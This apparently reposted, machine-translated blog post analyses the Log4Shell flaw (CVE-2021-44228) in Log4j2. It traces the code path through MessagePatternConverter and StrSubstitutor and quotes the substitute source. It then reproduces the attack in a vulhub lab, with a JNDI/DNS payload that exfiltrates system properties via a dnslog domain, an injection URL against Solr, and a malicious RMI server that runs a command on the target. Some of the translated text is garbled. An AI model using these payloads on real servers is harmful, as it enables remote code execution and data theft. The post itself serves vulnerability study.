Location>code7788 >text

Log4j2 - Vulnerability Analysis (CVE-2021-44228)

Popularity:750 ℃/2024-09-19 11:15:50

catalogs
  • Log4j2 Vulnerability Principles
    • root cause of the loophole
      • Call Chain Source Code Analysis
      • Call Chain Summary
    • lit. loophole is reproduced
      • dns
      • rmi

Log4j2 Vulnerability Principles

Front row reminder: this post is based on my other summary of JNDI injection after writing, it is recommended to read the article for a brief understanding of JNDI injection:
/weixin_60521036/article/details/142322372
Advance summary statement
The Log4j2 (CVE-2021-44228) vulnerability is caused due to a vulnerability via theMessagePatternConverterclass into hisformatAfter the function entry need to match to determine whether there is ${, if there is into the if after the(().replace(event, value));, which eventually went to the lookup function for jndi injection.
So we'll analyze it later fromMessagePatternConverter(used form a nominal expression)formatfunction to start dissecting the source code.

root cause of the loophole

After referring to the online articles, summarized found that in fact only need to understand the most critical and know a few function call stack will be able to understand how the log4j vulnerability is caused.

Call Chain Source Code Analysis

1. The first is to hit the point to walk to the format function of MessagePatternConverter, where the accident occurs.
在这里插入图片描述
2. Look at the yellow box, enter if, log4j2 vulnerability officially started
在这里插入图片描述
3. Look here for a match$cap (a poem){
Here really only match these two, do not feel that the asymmetry of why not more than one match}That's to find out if you're using${}This is the kind of format where you go in and do deeper operations if you use it.
(Note: no recursion will be done here, if you${${}}(You'll need to continue reading my explanation later on for that recursion step)
在这里插入图片描述
4. Look at the yellow box.(().replace(event, value));, there are two important points here.getStrSubstitutorcap (a poem)replace
First, getStrSubstitutor is performed to get an object of StrSubstitutor, then StrSubstitutor performs the replace method.
在这里插入图片描述
5. Here you need to follow up with the replace method, which will execute thesubstituteMethods.substituteFunctions are important and need to continue to follow up with him.
在这里插入图片描述
6. EntersubstituteInside, he did the following

  • 1.to match${
  • 2.to match}

If the match is said to exist${xxx}If this kind of data is present, it goes to recursion and continues to substitute execution until it is not present.${xxx}This kind of data until. (This is the place to address the${${}}(this kind of nesting problem), then here also solves the above said why at the beginning into the format function there, only matches the${without matching the full${}of doubt, into which it is only to proceed to judgment, and to help you out${${}}This double nesting problem.
在这里插入图片描述
7. This substitute recursion finished out or not continue into the substitutes inside, then the next line of code is: varNameExpr = (); role is to take out the${xxxxx}The xxxx data in it.
Take it out of you.${xxx}Inside xxx data, here has not been injected into the jndi parsing, so instead of parsing the results of taking out the code you injected.
在这里插入图片描述
8. Into if is to takevarName vs varDefaultValue The function is to detect: and - in order to split out the jndi and rmi://xxxx. Here is not really the developer intentionally write a function to split our malicious code, but this function is so, it happens to be that we utilize him only. Here's the function will not follow up, understand that he is to carry out the split can be, getvarName vs varDefaultValue
Note: As another reminder, when we pass in jndi:rmi://xxxx, here's thevarName vs varDefaultValue extractjndiand the followingrmi://xxxx
在这里插入图片描述
9. The code goes further down to the point where you see theString varValue = resolveVariable(event, varName, buf, startPos, endPos); Here we need to follow up with resolveVariable in order to continue to see the execution of jndi in depth.

在这里插入图片描述
10. Here finally see lookup word.
The first thing you need to know:resolver = getVariableResolver() is to get an object that implements the StrLookup interface named resolver
Secondly, see the back.return (event, variableName); Here is the return result, that is, here lookup is the result of the implementation of the return, in order to be more convincing, here to continue to follow up lookup to see how he is executed, after all, here jndi injection and before the different, more than thejndi:rather than the traditional direct use ofrmi://xxxx

在这里插入图片描述

11. Here you can see the information available through theprefixplastic injection:formerjndiThen take out the back of thermi://xxxx
So that means that the lookup function body is internally acting as avia: character segmentation, and then by passing in thejndiFour characters tonextFind the jndi access addressThen intercept to the back of thermibase sth. on what one has foundjndi access addressnextlookupThen the last thing you can see is that you get the lookup object of jndi to lookup the query.
在这里插入图片描述
在这里插入图片描述

This concludes the analysis.

substituteThe code in the body of the function is shown below:
(There is no source code for the body of the lookup function in step 11; here's the source code for thesubstitutecode)

        while (pos < bufEnd) {
            final int startMatchLen = (chars, pos, offset, bufEnd); // prefixMatcheris used to match if the first two characters are${
            if (startMatchLen == 0) {
                pos++;
            } else {
                // found variable start marker,If it's here then it's a match.${character
                if (pos > offset && chars[pos - 1] == escape) {
                    // escaped
                    (pos - 1);
                    chars = getChars(buf);
                    lengthChange--;
                    altered = true;
                    bufEnd--;
                } else {
                    // find suffix,Find Suffixes}notation
                    final int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = 0;
                    int nestedVarCount = 0;
                    while (pos < bufEnd) {
                        if (substitutionInVariablesEnabled
                                && (endMatchLen = (chars, pos, offset, bufEnd)) != 0) {
                            // found a nested variable start
                            nestedVarCount++;
                            pos += endMatchLen;
                            continue;
                        }
 
                        endMatchLen = (chars, pos, offset, bufEnd);
                        if (endMatchLen == 0) {
                            pos++;
                        } else {
                            // found variable end marker
                            if (nestedVarCount == 0) {
                                String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
                                if (substitutionInVariablesEnabled) {
                                    final StringBuilder bufName = new StringBuilder(varNameExpr);
                                    substitute(event, bufName, 0, ()); // recursive call
                                    varNameExpr = ();
                                }
                                pos += endMatchLen;
                                final int endPos = pos;
 
                                String varName = varNameExpr;
                                String varDefaultValue = null;
 
                                if (valueDelimiterMatcher != null) {
                                    final char [] varNameExprChars = ();
                                    int valueDelimiterMatchLen = 0;
                                    for (int i = 0; i < ; i++) {
                                        // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                        if (!substitutionInVariablesEnabled
                                                && (varNameExprChars, i, i, ) != 0) {
                                            break;
                                        }
										// If it is detected that there are still:cap (a poem)-的notation,Then it will be separated, :- act in one's own wayvarName,Seats in the back.DefaultValue
                                        if ((valueDelimiterMatchLen = (varNameExprChars, i)) != 0) {
                                            varName = (0, i);
                                            varDefaultValue = (i + valueDelimiterMatchLen);
                                            break;
                                        }
                                    }
                                }
 
                                // on the first call initialize priorVariables
                                if (priorVariables == null) {
                                    priorVariables = new ArrayList<>();
                                    (new String(chars, offset, length + lengthChange));
                                }
 
                                // handle cyclic substitution
                                checkCyclicSubstitution(varName, priorVariables);
                                (varName);
 
                                // resolve the variable
								//After the above series of data detection has been completed, the next step is to parse and execute the data.,Here's what's going on through theresolveVariablemethodologies
                                String varValue = resolveVariable(event, varName, buf, startPos, endPos);
                                if (varValue == null) {
                                    varValue = varDefaultValue;
                                }
                                if (varValue != null) {
                                    // recursive replace
                                    final int varLen = ();
                                    (startPos, endPos, varValue);
                                    altered = true;
                                    int change = substitute(event, buf, startPos, varLen, priorVariables);
                                    change = change + (varLen - (endPos - startPos));
                                    pos += change;
                                    bufEnd += change;
                                    lengthChange += change;
                                    chars = getChars(buf); // in case buffer was altered
                                }
 
                                // remove variable from the cyclic stack
                                (() - 1);
                                break;
                            }
                            nestedVarCount--;
                            pos += endMatchLen;
                        }
                    }
                }
            }
        }
        if (top) {
            return altered ? 1 : 0;
        }
        return lengthChange;
    }

Call Chain Summary

Conventions: a carriage return is added to each level of the function that the call chain goes into; I'm not writing it here under a fully qualified name, and for ease of understanding, adding a carriage return means going inside the function.

Great Vernacular Summary:
在这里插入图片描述

Here's a screenshot of the raw data

Call Chain
MessagePatternConverter's format function
↓
(().replace(event, value));
↓
()
↓
().replace()
↓
substitute
↓
to match ${
to match }
↓
When both 1 and 2 above match, it goes to substitute recursively.
Here is to solve the nesting problem of ${${}}.
↓
recursive after the next line of code is: varNameExpr = (); the role is to take out ${xxxxx} where the xxxx data
↓ Then go to this code - > if ((valueDelimiterMatchLen = (varNameExprChars, i)) ! = 0)
into if is to take varName and varDefaultValue, detection: and - in order to split out the jndi and rmi://xxxx
(here is not so coincidental in order to split our malicious code, but this function is so, it happens that we utilize him only)
↓
Code further down to -> String varValue = resolveVariable(event, varName, buf, startPos, endPos);
into the resolveVariable function
↓
resolver = getVariableResolver() get an object that implements the StrLookup interface
followed by return (event, variableName); here is the return of the
↓
then continue to follow up on the call here, the lookup function body internal role is separated by: characters
and then by passing jndi four characters to find jndi access address and then intercepted to the back of the rmi with jndi access address to lookup

lit. loophole is reproduced

vulhub finds log4j to open a CVE-2021-44228 range

dns

在这里插入图片描述

  • First use the dns protocol for jndi injection to see if there is a log4j vulnerability
    ${jndi:dns://${sys:}.}It's a Payload that uses JNDI to send DNS requests, modify it yourself to your own dnslog domain name
    http://xxxxx:8983/solr/admin/cores?action=${jndi:dns://${sys:}.}
    在这里插入图片描述

Then we looked at our dnslog logs and found that there was indeed a log4j vulnerability
在这里插入图片描述

rmi

So now it's time for the rmi or ldap attack.
Here it is straightforward to use the utilization tool:
/welk1n/JNDI-Injection-Exploit
Open a malicious server:
Setting up the commands to be executed by -C
(-A is the first NIC address by default, -A your server address, I'll default it here)

在这里插入图片描述
Next, check to see if the container does not have a/tmp/success_hackerfile, since we -C wrote to create that file
在这里插入图片描述
Then it's time for the rmi attack, copying the rmi service built above:rmi://xxxxxxxxx:1099/dge0kr
在这里插入图片描述
Checking again you'll see that it's been created successfully
在这里插入图片描述
PS: If not successful then try a few more rmi or ldap service address, jdk8 or jdk7 try, before I spoke wrongly that 1.7 and 1.8 is the local open tool to use the jdk version, in fact, is the target server's jdk version, so or that, try it on the line, anyway, we have already dragged out the data with dnslog, proved that there is a vulnerability. It proves that there is a vulnerability.
在这里插入图片描述


Reference Article:
/zpchcbd/p/
/t/11056